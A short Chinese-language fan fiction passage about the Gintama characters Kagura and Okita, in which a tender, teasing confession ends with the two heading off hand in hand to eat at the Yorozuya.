神乐凝视着那双被长睫毛框住的红色眼睛,笑了。
“请把笨蛋抖s交给我。”
“什…什么,这是求婚吗?”
冲田用一只手捂住脸,但是从头发缝隙中露出的耳朵已经被染成了红色。
神乐扑哧一笑,抱住了眼前比自己大一圈的身体。冲田一边抱怨“好疼”,一边把脸埋在神乐的肩头。
把手指伸进一直想触摸的亚麻色,指缝间滑过的触感很舒服,她轻轻叹了口气。
“冲田。”
“什么?”
“我饿了阿鲁。”
“真是的!气氛也太糟糕了,我们去吃个饭吧,小姐。”
“想去阿鲁,但是走之前新八准备好了饭,没吃就跑出来了。”
“是吗?那我送你回万事屋吧。”
“你也一起来吃吧阿鲁。”
“不好意思打扰了。”
注视着两人牵着手亲密地走出房间的背影,衣柜上传来欢送的笑声。